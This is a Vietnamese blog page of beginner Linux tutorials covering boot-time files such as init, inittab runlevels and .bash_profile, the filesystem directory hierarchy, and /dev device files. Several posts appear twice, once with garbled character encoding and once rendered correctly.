Hiển thị các bài đăng có nhãn linux. Hiển thị tất cả bài đăng
Hiển thị các bài đăng có nhãn linux. Hiển thị tất cả bài đăng

Thứ Bảy, 28 tháng 2, 2015

Linux 6 - T?m hi?u v? c�c file kh?i �?ng c?a h? �i?u h�nh Linux



Tr�n Linux b?n c� r?t nhi?u n�i �? �?t c?u h?nh cho ph�p ch��ng tr?nh kh?i �?ng chung v?i h? �i?u h�nh. Sau qu� tr?nh ki?m tra ph?n c?ng v� n?p kernel, Linux s? kh?i �?ng ch��ng tr?nh init. ��y l� ti?n tr?nh (process) quan tr?ng c� m? s? �?nh danh PID = 1. Init s? l?n l�?t g?i v� t?o ra c�c ti?n tr?nh con kh�c. Tr?nh init c?ng l� tr?nh sau c�ng d?n d?p h? th?ng v� ch?m d?t h? �i?u h�nh. N?u tr?nh init b? l?i th? coi nh� h? �i?u h�nh Linux c?a b?n c?ng b? treo theo.Khi init kh?i �?ng, ti?n tr?nh n�y th�?ng �?c th�ng tin c?u h?nh trong file /etc/inittab. File n�y ch?a c�c khai b�o cho ph�p Linux ch?y ? nh?ng c?p �? kh�c nhau. B?n d�ng tr?nh so?n th?o vi m� n?i dung file n�y s? th?y d?ng c?u h?nh  : init :3:initdefault :
Hi?n ta �ang ch?y ? c?p �? 3(runlevel = 3) (�a ng�?i d�ng). N?u b?n ch?y ? c?p �? 5 (runlevel = 5) th? Linux s? g?i tr?nh qu?n l? ��ng nh?p X � Window cho ph�p b?n ��ng nh?p ? ch? �? �? h?a (c�c b?n c�i �?t Linux nh� Redhat hay Manderake th�?ng ch?n runlevel = 5 �? Linux cho ph�p chuy?n v�o ch? �? �? h?a ngay khi kh?i �?ng). B?n c?n c�c c?p �? runlevel = 1 (ch?y ? ch? �? ��n ng�?i d�ng) ho?c runlevel = 0 (Shutdown h? th?ng ngay khi kh?i �?ng)� File c?u h?nh inittab m� tr?nh init c?a Linux s? d?ng g?n t��ng ���ng v?i ch?c n�ng c?a config.sys tr�n DOS.File c?u h?nh th? hai quan tr?ng h�n l� file .bash_profile. File n�y kh�ng �?t c? �?nh ? m?t v? tr� m� t�y thu?c v�o th� m?c home c?a t�i kho?n user m� b?n ��ng nh?p v�o. V� d? b?n ��ng nh?p v?i user l� root sau khi g? ��ng username v� password, b?n s? ��?c chuy?n v�o th� m?c /root. Trong th� m?c n�y, b?n c� th? t?m th?y file .bash_profile b?ng l?nh ls -la nh� h?nh d�?i:



C�c file c� d?u ch?m (.) ph�a tr�?c ��?c Linux d?u �i b?n kh�ng th? xem b?ng l?nh ls th�ng th�?ng. Tuy nhi�n t�y ch?n -al s? cho ph�p b?n th?y ��?c t?t c? c�c file.N?u b?n ��ng nh?p v?i t�n username l� gocit v� ng�?i qu?n tr? �? ch? �?nh /home/abc l� th� m?c s? d?n b?n �?n sau khi ��ng nh?p, b?n c?ng s? t?m th?y file .bash_profile trong th� m?c /home/abc.
B?n c� th? xem n?i dung .bash_profile b?ng l?nh cat (ho?c nano, less, more�) nh� sau:


Nh� b?n th?y c�c file .bash_profile ch?a c�c th�ng s? thi?t l?p bi?n m�i tr�?ng, ki?m tra hay g?i c�c ch��ng tr?nh th?c thi kh�c t��ng t? nh� ch?c n�ng c?a autoexec.bat tr�n DOS. .bash_profile s? ��?c g?i th?c thi ngay khi ng�?i d�ng ��ng nh?p v�o t�i kho?n t��ng ?ng c?a h?. �? vi?t ��?c c�c l?nh �i?u khi?n trong .bash_profile b?n s? d?ng ng�n ng? l?p tr?nh Shell script.

C?n th?n h�n, h? �i?u h�nh Linux c?n cho ph�p ta d?n d?p h? th?ng khi ng�?i d�ng tho�t kh?i phi�n (sessions) l�m vi?c hi?n h�nh (logout) b?ng c�ch g?i th?c thi file .bash_logout. B?n c� th? xem n?i dung c?a file .bash_logout b?ng l?nh more nh� sau:

[root@root ~]# more .bash_logout
    # ~/.bash_logout

    clear

S�u t?m v� t?ng h?p t? internet

Linux 6 - Tìm hiểu về các file khởi động của hệ điều hành Linux



Trên Linux bạn có rất nhiều nơi để đặt cấu hình cho phép chương trình khởi động chung với hệ điều hành. Sau quá trình kiểm tra phần cứng và nạp kernel, Linux sẽ khởi động chương trình init. Đây là tiến trình (process) quan trọng có mã số định danh PID = 1. Init sẽ lần lượt gọi và tạo ra các tiến trình con khác. Trình init cũng là trình sau cùng dọn dẹp hệ thống và chấm dứt hệ điều hành. Nếu trình init bị lỗi thì coi như hệ điều hành Linux của bạn cũng bị treo theo.Khi init khởi động, tiến trình này thường đọc thông tin cấu hình trong file /etc/inittab. File này chứa các khai báo cho phép Linux chạy ở những cấp độ khác nhau. Bạn dùng trình soạn thảo vi mơ nội dung file này sẽ thấy dòng cấu hình  : init :3:initdefault :
Hiện ta đang chạy ở cấp độ 3(runlevel = 3) (đa người dùng). Nếu bạn chạy ở cấp độ 5 (runlevel = 5) thì Linux sẽ gọi trình quản lý đăng nhập X – Window cho phép bạn đăng nhập ở chế độ đồ họa (các bản cài đặt Linux như Redhat hay Manderake thường chọn runlevel = 5 để Linux cho phép chuyển vào chế độ đồ họa ngay khi khởi động). Bạn còn các cấp độ runlevel = 1 (chạy ở chế độ đơn người dùng) hoặc runlevel = 0 (Shutdown hệ thống ngay khi khởi động)… File cấu hình inittab mà trình init của Linux sử dụng gần tương đương với chức năng của config.sys trên DOS.File cấu hình thứ hai quan trọng hơn là file .bash_profile. File này không đặt cố định ở một vị trí mà tùy thuộc vào thư mục home của tài khoản user mà bạn đăng nhập vào. Ví dụ bạn đăng nhập với user là root sau khi gõ đúng username và password, bạn sẽ được chuyển vào thư mục /root. Trong thư mục này, bạn có thể tìm thấy file .bash_profile bằng lệnh ls -la như hình dưới:



Các file có dấu chấm (.) phía trước được Linux dấu đi bạn không thể xem bằng lệnh ls thông thường. Tuy nhiên tùy chọn -al sẽ cho phép bạn thấy được tất cả các file.Nếu bạn đăng nhập với tên username là gocit và người quản trị đã chỉ định /home/abc là thư mục sẽ dẫn bạn đến sau khi đăng nhập, bạn cũng sẽ tìm thấy file .bash_profile trong thư mục /home/abc.
Bạn có thể xem nội dung .bash_profile bằng lệnh cat (hoặc nano, less, more…) như sau:


Như bạn thấy các file .bash_profile chứa các thông số thiết lập biến môi trường, kiểm tra hay gọi các chương trình thực thi khác tương tự như chức năng của autoexec.bat trên DOS. .bash_profile sẽ được gọi thực thi ngay khi người dùng đăng nhập vào tài khoản tương ứng của họ. Để viết được các lệnh điều khiển trong .bash_profile bạn sử dụng ngôn ngữ lập trình Shell script.

Cẩn thận hơn, hệ điều hành Linux còn cho phép ta dọn dẹp hệ thống khi người dùng thoát khỏi phiên (sessions) làm việc hiện hành (logout) bằng cách gọi thực thi file .bash_logout. Bạn có thể xem nội dung của file .bash_logout bằng lệnh more như sau:

[root@root ~]# more .bash_logout
    # ~/.bash_logout

    clear

Sưu tầm và tổng hợp từ internet

Linux 5 - File System c?a Linux

H? �i?u h�nh Linux coi t?t c? �?u l� c�c t?p tin (file) th?m ch� c? c�c thi?t b? c?ng nh� ? �?a. N� qu?n l? t?t c? tr�n m?t �h? th?ng t?p tin� duy nh?t, b?t �?u ? g?c l� m?t th� m?c �root� v� ��y l� th� m?c ? m?c cao nh?t. C?u tr�c c� b?n c?a h? th?ng t?p tin n�y ��?c m� t? nh� h?nh v? ? b�n d�?i



B?n c� th? d�ng l?nh ls �? li?t k� c�c th� m?c v� t?p tin n?m trong root nh� sau:
ls /
B?n n�n ch� ? l� Linux s? d?ng d?u g?ch xu�i / thay v? g?ch ng�?c \ trong Windows.
Sau ��y l� m� t? chi ti?t c�c th� m?c ch�nh:

1. / � Root
��y l� th� m?c ? m?c cao nh?t nh� �? n�i ? tr�n. T?t c? c�c t?p tin v� th� m?c �?u n?m trong th� m?c n�y.

2. /sbin � System Binaries
Ch?a �?ng c�c file th?c thi d?ng binary (nh? ph�n) c?a c�c ch��ng tr?nh c� b?n gi�p h? th?ng c� th? ho?t �?ng. C�c l?nh b�n trong /sbin th�?ng ��?c s? d?ng d�ng cho c�c m?c ��ch l� duy tr? qu?n tr? h? th?ng. C�c l?nh n�y y�u c?u ph?i c� quy?n root.
M?t s? l?nh trong ��y v� d?: lilo, fdisk, init, ifconfig v.v.. �? li?t k�, b?n d�ng l?nh �ls /sbin/�.
C?n m?t th� m?c m� n� ch?a c�c t?p tin thi h�nh cho h? th?ng l� /usr/sbin/. Nh�ng c�c ch��ng tr?nh ? ��y kh�ng ��?c s? d?ng �? b?o tr? h? th?ng.

3. /bin � User Binaries
�?i l?p v?i /sbin/ th� m?c n�y ch?a r?t nhi?u ?ng d?ng kh�c nhau d�ng ��?c c? cho vi?c b?o tr? h? th?ng c?a root, c?ng nh� c�c l?nh cho ng�?i d�ng th�ng th�?ng. Th� m?c n�y th�ng th�?ng ch?a h? v? (Shell), c?ng nh� r?t nhi?u l?nh h?u d?ng nh� cp (sao ch�p), mv (di chuy?n), cat, ls. C?ng gi?ng nh� sbin, th� m?c /usr/bin c?ng ch?a c�c t?p tin c� ch?c n�ng t��ng t? nh� /bin.

4. /boot � Boot Loader Files
Nh?n t�n b?n c?ng c� th? �o�n ��?c n� d�ng l�m g? ph?i kh�ng n�o. N� ch?a c�c t?p tin kh?i �?ng v� c? nh�n kernel l� vmlinuz. Trong c�c b?n ph�n ph?i g?n ��y, n� c?ng ch?a c? d? li?u cho grub. Ph?n m?m kh?i �?ng Grub (vi?t t?t c?a GRand Unified Boot loader) ng�y nay ��?c s? d?ng kh� ph? bi?n.

5. /dev � Device Files
��y l� m?t th� m?c th� v? nh?t, n� th? hi?n m?t c�ch r? r�ng l� h? �i?u h�nh Linux coi m?i th? �?u l� c�c t?p tin v� th� m?c.
Trong th� m?c n�y b?n c� th? th?y r?t nhi?u t?p tin �?i di?n cho c�c thi?t b? nh� ? �?a SATA, c?ng COM v.v.. B?n li?t k� ch�ng ra b?ng l?nh �ls /dev/�. B?n s? th?y r?t nhi?u nh�ng kh�ng ph?i ch�ng �?u c� th?t tr�n m�y t�nh c?a b?n ��u nh�. Ch?ng h?n b?n ch? c� m?t c?ng COM nh�ng ? ��y b?n s? th?y kh�ng ch? c� m?t.
V� d?:
/dev/sda : ��y l� ? �?a SATA th? nh?t
/dev/cdrom : ? CD
/dev/ttyS0 : c?ng COM1

6. /etc � Configuration Files
Ch?a file c?u h?nh cho c�c ch��ng tr?nh ho?t �?ng. Ch�ng th�?ng l� c�c t?p tin d?ng text th�?ng. Ch?c n�ng c?a n� g?n gi?ng v?i �Control Panel� trong Windows. V� d?:
/etc/resolv.conf (c?u h?nh dns-server )
/etc/network d�ng �? qu?n l? d?ch v? network
? /etc c� m?t th� m?c quan tr?ng �� l� /etc/rc.d. N�i ��y th�?ng ch?a c�c scripts d�ng �? start, stop, ki?m tra status cho c�c ch��ng tr?nh.

7. /home � Home Directories
Th� m?c Home. Th� m?c n�y ch?a th�ng tin, d? li?u , c?u h?nh ri�ng cho t?ng user. N� gi?ng nh� th� m?c �C:\Documents and Settings� trong Windows XP.

8. /lib � System Libraries
Ch?a c�c file library h? tr? cho c�c file th?c binary. T�n c?a c�c file library th�?ng l� ld* or lib*.so.* . V� d? nh� libc.so.* (Th� vi?n C).

9. /lost+found
V? m?t l? do b?t ng? n�o �� nh� l?i ph?n m?m, m?t �i?n v..v, h? th?ng c� th? �? v?. Khi kh?i �?ng l?i, h? th?ng s? ki?m tra l?i h? th?ng filesystem b?ng l?nh fchk v� c? g?ng ph?c h?i l?i c�c l?i m� n� t?m th?y. K?t qu? c?a vi?c n�y s? ��?c l�u gi? trong th� m?c /lost+found.

10. /mnt � Mount Directory
Ch?a c�c th� m?c d�ng �? system admin th?c hi?n qu� tr?nh mount. Nh� �? n�i, h? �i?u h�nh Linux coi t?t c? l� c�c file v� l�u gi? tr�n m?t c�y chung. ��y ch�nh n�i t?o ra c�c th� m?c �? �g?n� c�c ph�n v�ng ? �?a c?ng c?ng nh� c�c thi?t b? kh�c v�o. Sau khi ��?c mount v�o ��y, c�c thi?t b? hay ? c?ng ��?c truy c?p t? ��y nh� l� m?t th� m?c. Trong m?t s? h? �i?u h�nh, c�c ? �?a ch�a ��?c g?n s?n v�o h? th?ng b?i fstab s? ��?c g?n ? ��y. V? c�ch g?n v� th�o, c� l? c?n m?t b�i vi?t ri�ng.

11. /opt � Optional add-on Applications
Ch?a c�c ph?n m?m v� ph?n m? r?ng kh�ng n?m trong ph?n c�i �?t m?c �?nh, th�?ng l� c?a h?ng th? ba.

12. /proc � Process Information
Ch?a �?ng th�ng tin v? qu� tr?nh x? l? c?a h? th?ng
��y l� m?t pseudo filesystem ch?a �?ng c�c th�ng tin v? c�c process �ang ch?y
��y l� m?t virtual filesystem ch?a �?ng c�c th�ng tin t�i nguy�n h? th?ng. V� d?:/proc/cpuinfo cung c?p cho ta th�ng s? k? thu?t c?a CPU. �? xem b?n d�ng l?nh �cat':
cat /proc/cpuinfo
13. /tmp � Temporary Files
Th� m?c n�y ch?a c�c file ��?c t?o v?i m?c ��ch d�ng t?m th?i b?i h? th?ng c?ng nh� user. C�c file b�n d�?i th� m?c n�y ��?c x�a �i khi h? th?ng reboot hay shutdown.

14. /usr � User Programs
Ch?a c�c file binary, library, t�i li?u, source-code cho c�c ch��ng tr?nh

  - /usr/bin ch?a file binary cho c�c ch��ng tr?nh c?a user. N?u nh� m?t user trong qu� tr?nh th?c thi m?t l?nh ban �?u s? t?m ki?m trong /bin, n?u nh� kh�ng c� th? s? ti?p t?c nh?n v�o /usr/bin. V� d? m?t s? l?nh nh� at. awk, cc�
  -  /usr/sbin ch?a c�c file binary cho system administrator. N?u nh� ta kh�ng t?m th?y c�c file system binary b�n d�?i /sbin th? ta c� th? t?m ? trong /usr/sbin. V� d? m?t s? l?nh nh�cron, sshd, useradd, userdel
  -  /usr/lib ch?a c�c file libraries cho /usr/bin v� /usr/sbin
  -  /usr/local d�ng �? ch?a ch��ng tr?nh c?a c�c user, c�c ch��ng tr?nh n�y ��?c c�i �?t t? source. V� d? khi ta install apache t? source th? n� s? n?m ? v? tr� l�/usr/local/apache2

15. /media � Removable Media Devices
Ch?a th� m?c d�ng �? mount cho c�c thi?t b? removable. V� d? nh� CDROM, Floppy v.v..

16. /var � Variable Files
Ch?a �?ng c�c file c� s? thay �?i trong qu� tr?nh ho?t �?ng c?a h? �i?u h�nh c?ng nh� c�c ?ng d?ng. V� d?:
+ Nh?t k? c?a h? th?ng /var/log
+ database file /var/lib
+ email /var/mail
+ C�c h�ng �?i in ?n: /var/spool
+ lock file: /var/lock
+ C�c file t?m th?i c?n cho qu� tr?nh reboot: /var/tmp
+ D? li?u cho trang web: /var/www
�? bi?t ��?c th� m?c �ang n?m tr�n ph�n v�ng n�o c�c b?n h?y s? d?ng l?nh df v?i �?i s? l� d?u ch?m (.) bi?u di?n th� m?c hi?n h�nh.
df -h .
Theo quy t?c chung, m?i th� m?c �?u n?m d�?i th� m?c root th? �?u n?m tr�n ph�n v�ng root, tr? phi n� c� ph�n v�ng ri�ng ? m?t trong s? c�c ph�n v�ng ��?c li?t k� trong l?nh df (hay df -h m� kh�ng c� t�y ch?n kh�c).
B?n c� th? �?c th�m v? c?u tr�c c?a h? th?ng t?p tin trong Linux b?ng l?nh �man hier�.
Tr�n ��y l� c�i nh?n t?ng quan v? h? th?ng t?p tin tr�n h? �i?u h�nh Linux. C?n t�y thu?c v�o c�c b?n ph�n ph?i, c?u tr�c n�y c� th? kh�c nhau ch�t �t nh� th�m hay b?t m?t s? th� m?c.
�?n ��y b?n s? th?y h? �i?u h�nh Linux t? ch?c h? th?ng th� m?c v� t?p tin m?t c�ch th?ng nh?t. M?t ?ng d?ng g?m nhi?u th�nh ph?n kh�c nhau s? ��?c l�u gi? ? nhi?u th� m?c ri�ng bi?t. Ch?ng h?n t?p tin binary th? l�u trong /usr/local/bin trong khi d? li?u l?i l�u trong/usr/share/*


S�u t?m v� t?ng h?p t? internet

Linux 5 - File System của Linux

Hệ điều hành Linux coi tất cả đều là các tệp tin (file) thậm chí cả các thiết bị cũng như ổ đĩa. Nó quản lý tất cả trên một “hệ thống tệp tin” duy nhất, bắt đầu ở gốc là một thư mục “root” và đây là thư mục ở mức cao nhất. Cấu trúc cơ bản của hệ thống tệp tin này được mô tả như hình vẽ ở bên dưới



Bạn có thể dùng lệnh ls để liệt kê các thư mục và tệp tin nằm trong root như sau:
ls /
Bạn nên chú ý là Linux sử dụng dấu gạch xuôi / thay vì gạch ngược \ trong Windows.
Sau đây là mô tả chi tiết các thư mục chính:

1. / – Root
Đây là thư mục ở mức cao nhất như đã nói ở trên. Tất cả các tệp tin và thư mục đều nằm trong thư mục này.

2. /sbin – System Binaries
Chứa đựng các file thực thi dạng binary (nhị phân) của các chương trình cơ bản giúp hệ thống có thể hoạt động. Các lệnh bên trong /sbin thường được sử dụng dùng cho các mục đích là duy trì quản trị hệ thống. Các lệnh này yêu cầu phải có quyền root.
Một số lệnh trong đây ví dụ: lilo, fdisk, init, ifconfig v.v.. Để liệt kê, bạn dùng lệnh “ls /sbin/”.
Còn một thư mục mà nó chứa các tệp tin thi hành cho hệ thống là /usr/sbin/. Nhưng các chương trình ở đây không được sử dụng để bảo trì hệ thống.

3. /bin – User Binaries
Đối lập với /sbin/ thư mục này chứa rất nhiều ứng dụng khác nhau dùng được cả cho việc bảo trì hệ thống của root, cũng như các lệnh cho người dùng thông thường. Thư mục này thông thường chứa hệ vỏ (Shell), cũng như rất nhiều lệnh hữu dụng như cp (sao chép), mv (di chuyển), cat, ls. Cũng giống như sbin, thư mục /usr/bin cũng chứa các tệp tin có chức năng tương tự như /bin.

4. /boot – Boot Loader Files
Nhìn tên bạn cũng có thể đoán được nó dùng làm gì phải không nào. Nó chứa các tệp tin khởi động và cả nhân kernel là vmlinuz. Trong các bản phân phối gần đây, nó cũng chứa cả dữ liệu cho grub. Phần mềm khởi động Grub (viết tắt của GRand Unified Boot loader) ngày nay được sử dụng khá phổ biến.

5. /dev – Device Files
Đây là một thư mục thú vị nhất, nó thể hiện một cách rõ ràng là hệ điều hành Linux coi mọi thứ đều là các tệp tin và thư mục.
Trong thư mục này bạn có thể thấy rất nhiều tệp tin đại diện cho các thiết bị như ổ đĩa SATA, cổng COM v.v.. Bạn liệt kê chúng ra bằng lệnh “ls /dev/”. Bạn sẽ thấy rất nhiều nhưng không phải chúng đều có thật trên máy tính của bạn đâu nhé. Chẳng hạn bạn chỉ có một cổng COM nhưng ở đây bạn sẽ thấy không chỉ có một.
Ví dụ:
/dev/sda : đây là ổ đĩa SATA thứ nhất
/dev/cdrom : ổ CD
/dev/ttyS0 : cổng COM1

6. /etc – Configuration Files
Chứa file cấu hình cho các chương trình hoạt động. Chúng thường là các tệp tin dạng text thường. Chức năng của nó gần giống với “Control Panel” trong Windows. Ví dụ:
/etc/resolv.conf (cấu hình dns-server )
/etc/network dùng để quản lý dịch vụ network
Ở /etc có một thư mục quan trọng đó là /etc/rc.d. Nơi đây thường chứa các scripts dùng để start, stop, kiểm tra status cho các chương trình.

7. /home – Home Directories
Thư mục Home. Thư mục này chứa thông tin, dữ liệu , cấu hình riêng cho từng user. Nó giống như thư mục “C:\Documents and Settings” trong Windows XP.

8. /lib – System Libraries
Chứa các file library hỗ trợ cho các file thực binary. Tên của các file library thường là ld* or lib*.so.* . Ví dụ như libc.so.* (Thư viện C).

9. /lost+found
Vì một lý do bất ngờ nào đó như lỗi phần mềm, mất điện v..v, hệ thống có thể đổ vỡ. Khi khởi động lại, hệ thống sẽ kiểm tra lại hệ thống filesystem bằng lệnh fchk và cố gắng phục hồi lại các lỗi mà nó tìm thấy. Kết quả của việc này sẽ được lưu giữ trong thư mục /lost+found.

10. /mnt – Mount Directory
Chứa các thư mục dùng để system admin thực hiện quá trình mount. Như đã nói, hệ điều hành Linux coi tất cả là các file và lưu giữ trên một cây chung. Đây chính nơi tạo ra các thư mục để ‘gắn’ các phân vùng ổ đĩa cứng cũng như các thiết bị khác vào. Sau khi được mount vào đây, các thiết bị hay ổ cứng được truy cập từ đây như là một thư mục. Trong một số hệ điều hành, các ổ đĩa chưa được gắn sẵn vào hệ thống bởi fstab sẽ được gắn ở đây. Về cách gắn và tháo, có lẽ cần một bài viết riêng.

11. /opt – Optional add-on Applications
Chứa các phần mềm và phần mở rộng không nằm trong phần cài đặt mặc định, thường là của hãng thứ ba.

12. /proc – Process Information
Chứa đựng thông tin về quá trình xử lý của hệ thống
Đây là một pseudo filesystem chứa đựng các thông tin về các process đang chạy
Đây là một virtual filesystem chứa đựng các thông tin tài nguyên hệ thống. Ví dụ:/proc/cpuinfo cung cấp cho ta thông số kỹ thuật của CPU. Để xem bạn dùng lệnh ‘cat':
cat /proc/cpuinfo
13. /tmp – Temporary Files
Thư mục này chứa các file được tạo với mục đích dùng tạm thời bởi hệ thống cũng như user. Các file bên dưới thư mục này được xóa đi khi hệ thống reboot hay shutdown.

14. /usr – User Programs
Chứa các file binary, library, tài liệu, source-code cho các chương trình

  - /usr/bin chứa file binary cho các chương trình của user. Nếu như một user trong quá trình thực thi một lệnh ban đầu sẽ tìm kiếm trong /bin, nếu như không có thì sẽ tiếp tục nhìn vào /usr/bin. Ví dụ một số lệnh như at. awk, cc…
  -  /usr/sbin chứa các file binary cho system administrator. Nếu như ta không tìm thấy các file system binary bên dưới /sbin thì ta có thể tìm ở trong /usr/sbin. Ví dụ một số lệnh nhưcron, sshd, useradd, userdel
  -  /usr/lib chứa các file libraries cho /usr/bin và /usr/sbin
  -  /usr/local dùng để chứa chương trình của các user, các chương trình này được cài đặt từ source. Ví dụ khi ta install apache từ source thì nó sẽ nằm ở vị trí là/usr/local/apache2

15. /media – Removable Media Devices
Chứa thư mục dùng để mount cho các thiết bị removable. Ví dụ như CDROM, Floppy v.v..

16. /var – Variable Files
Chứa đựng các file có sự thay đổi trong quá trình hoạt động của hệ điều hành cũng như các ứng dụng. Ví dụ:
+ Nhật ký của hệ thống /var/log
+ database file /var/lib
+ email /var/mail
+ Các hàng đợi in ấn: /var/spool
+ lock file: /var/lock
+ Các file tạm thời cần cho quá trình reboot: /var/tmp
+ Dữ liệu cho trang web: /var/www
Để biết được thư mục đang nằm trên phân vùng nào các bạn hãy sử dụng lệnh df với đối số là dấu chấm (.) biểu diễn thư mục hiện hành.
df -h .
Theo quy tắc chung, mọi thư mục đều nằm dưới thư mục root thì đều nằm trên phân vùng root, trừ phi nó có phân vùng riêng ở một trong số các phân vùng được liệt kê trong lệnh df (hay df -h mà không có tùy chọn khác).
Bạn có thể đọc thêm về cấu trúc của hệ thống tệp tin trong Linux bằng lệnh ‘man hier’.
Trên đây là cái nhìn tổng quan về hệ thống tệp tin trên hệ điều hành Linux. Còn tùy thuộc vào các bản phân phối, cấu trúc này có thể khác nhau chút ít như thêm hay bớt một số thư mục.
Đến đây bạn sẽ thấy hệ điều hành Linux tổ chức hệ thống thư mục và tệp tin một cách thống nhất. Một ứng dụng gồm nhiều thành phần khác nhau sẽ được lưu giữ ở nhiều thư mục riêng biệt. Chẳng hạn tệp tin binary thì lưu trong /usr/local/bin trong khi dữ liệu lại lưu trong/usr/share/*


Sưu tầm và tổng hợp từ internet

Thứ Năm, 26 tháng 2, 2015

Linux 4 - ? ngh?a c?a c�c th� m?c trong Linux



Trong h? �i?u h�nh Linux, nh?ng t?p tin m� ng�?i s? d?ng nh?n th?y ��?c �?u theo c?u tr�c c�y th� m?c, v?i root n?m ? tr�n c�ng. T? �i?m n�y c�c th� m?c v� t?p tin m?i m?c nh�nh ra lan d?n xu?ng ph�a d�?i. Th� m?c cao nh?t, ��?c k? hi?u b?ng v?ch /, ��?c g?i l� root directory (th� m?c g?c).
V?i ng�?i s? d?ng b?nh th�?ng th? c�y th� m?c n�y l� m?t d?i nh?ng t?p tin v� th� m?c n?i li?n nhau. Tr�n th?c t?, nhi?u th� m?c trong c�y th� m?c n�y n?m ? nhi?u v? tr� v?t l? kh�c nhau, tr�n c�c partition kh�c nhau, v� th?m ch� tr�n c�c ? �?a kh�c nhau. Khi m?t trong c�c partition ?y ��?c k?t n?i v?i c?u tr�c c�y t?i m?t th� m?c g?i l� mount point (�i?m k?t n?i, �i?m l?p r�p), th? mount point n�y v� t?t c? c�c th� m?c c?p d�?i ��?c g?i l� file system.
H? �i?u h�nh Linux h?nh th�nh t? nhi?u th� m?c v� t?p tin kh�c nhau. C�c th� m?c c� th? l?p th�nh nhi?u file system kh�c nhau, t�y v�o c�ch c�i �?t b?n �? ch?n. Nh?n chung, �a ph?n h? �i?u h�nh n?m ? hai file system: root file system (file system g?c) ��?c k? hi?u l� /, v� m?t file system kh�c ��?c k?t n?i theo /usr (�?c l� user).Khi d�ng l?nh cd / �? chuy?n v? th� m?c g?c v� g?i hi?n th? danh s�ch th� m?c, b?n s? th?y nhi?u th� muc. Nh?ng th� m?c n�y t?o th�nh n?i dung c?a root file system, �?ng th?i cung c?p mount point cho c�c file system kh�c.Th� m?c /bin ch?a c�c ch��ng tr?nh thi h�nh ��?c, c?n g?i l� c�c binaries (nh? ph�n). Ch�ng l� ch��ng tr?nh h? th?ng ch? y?u. Nhi?u l?nh c?a Linux, ch?ng h?n nh� ls, l� c�c ch��ng tr?nh n?m t?i c�c th� m?c ?y.Th� m?c /sbin ch?a c�c file nh? ph�n h? th?ng. H?u h?t c�c t?p tin ? ��y d�ng �? qu?n tr? h? th?ng. (superuser-bin).Th� m?c /etc r?t quan tr?ng v? ch?a nhi?u file c?u h?nh Linux. Ch�ng gi�p cho h? th?ng m�y b?n c� �c� t�nh�. File m?t kh?u passwdn?m ? th� m?c n�y, c?ng nh� fstab , danh s�ch c�c file system c?n n?p v�o khi kh?i �?ng m�y. Ngo�i ra th� m?c c?n ch?a c�c script kh?i �?ng cho Linux, danh s�ch c�c host k�m �?a ch? IP, c�ng v?i nhi?u th�ng tin c?u h?nh kh�c.C�c th� vi?n d�ng chung ��?c ch?a trong th� m?c /lib. Khi d�ng chung th� vi?n, nhi?u ch��ng tr?nh s? s? d?ng l?i c�ng lo?i m?, h�n n?a khi ��?c ch?a c�ng ch?, th� vi?n s? gi�p gi?m thi?u k�ch c? ch��ng tr?nh ? kh�a c?nh th?i gian ch?y.

Th� m?c /dev ch?a c�c file �?c bi?t g?i l� device files (file thi?t b?, ��?c h? th?ng s? d?ng �? ch?y c�c ph?n c?ng. V� d? file/dev/mouse s? �?c th�ng tin t? chu?t. Khi t? ch?c s? d?ng ph?n c?ng theo c�ch n�y, Linux l�m cho vi?c t��ng t�c v?i ph?n c?ng tr�ng gi?ng nh� m?t ph?n m?m. �i?u n�y c� ngh?a l� trong nhi?u tr�?ng h?p, b?n c� th? d�ng c� ph�p nh� khi d�ng v?i directory c?a m?nh tr�n �?a m?m, ta c� th? d�ng l?nh: tar -cdf /dev/fd0 tackett .

/dev/fd0 ch? cho l?nh tar bi?t ph?i d�ng �?a m?m. Nhi?u thi?t b? trong th� m?c /dev ��?c t?p h?p th�nh nh�m logical. B?ng 1.1 Li?t k� c�c thi?t b? ph? bi?n nh?t trong th� m?c /dev.

B?ng 1.1: C�c thi?t b? th�?ng d�ng ch?a trong th� m?c /dev

File thi?t b?Description
/dev/consoleB�n giao ti?p h? th?ng, l� m�n h?nh n?i k?t v?t l? v?i h? th?ng
/dev/hd*Giao di?n driver cho c�c ? c?ng IDE. Thi?t b? /dev/hda1 ch? partition �?u ti�n tr�n ? c?ng had. Thi?t b? /dev/had ch? to�n b? ? c?ng hda.
/dev/sd*Giao di?n driver cho c�c ? �?a SCSI. Nh?ng ? �?a v� partition n�y c� c�ng quy �?c v?i thi?t b? IDE /dev/hd*.
/dev/fd*Driver thi?t b? h? tr? �?a m?m. ? �?a m?m �?u ti�n l� /dev/fd0, ? th? hai l� /dev/fd1.
/dev/st*Driver thi?t b? cho ? c?ng b�ng t? SCSI.
/dev/tty*Driver cung c?p nhi?u lo?i thi?t b? giao ti?p kh�c nhau cho user nh?p li?u. S? d? vi?t t?t l� tty b?i v? tr�?c kia c�c terminal d?ng teletype �?u m�c n?i v?i h? �i?u h�nh UNIX. V?i Linux, nh?ng t?p tin n�y h? tr? c�c thi?t b? giao ti?p ?o, m� b?n c� th? truy c?p b?ng c�ch b?m t? cho �?n . Thi?t b? giao ti?p ?o cho ph�p nhi?u user ��ng nh?p c�ng l�c.
/dev/pty*Driver h? tr? terminal gi?, d�ng cho vi?c ��ng nh?p t? xa, ch?ng h?n nh� nh?ng phi�n ��ng nh?p qua Telnet.
/dev/ttyS*C�c c?ng giao di?n n?i ti?p tr�n m�y b?n. File /dev/ttyS0 t��ng ?ng COM1 c?a MS-DOS. N?u b?n s? d?ng chu?t n?i ti?p, th? file /dev/mouse l� m?t li�n k?t t�?ng tr�ng, n?i v?i thi?t b? ttyS t��ng ?ng (Chu?t n?i k?t v?i thi?t b? n�y.)
/dev/cua*C�c thi?t b? �?c bi?t g?i ra ngo�i d�ng v?i modem
/dev/nullM?t thi?t b? r?t �?c bi?t, ch? y?u l� m?t l? �en. T?t c? c�c d? li?u ghi v�o /dev/null xem nh� b? m?t v?nh vi?n. Vi?c n�y h?u �ch khi b?n mu?n ch?y m?t c�u l?nh v� th? ti�u stdout ho?c stderr. V� n?u /dev/null d�ng l�m file nh?p, b?n s? t?o ra m?t file c� �? d�i zero.

Th� m?c /proc l� m?t file system ?o, d�ng �? �?c th�ng tin t? b? nh?.

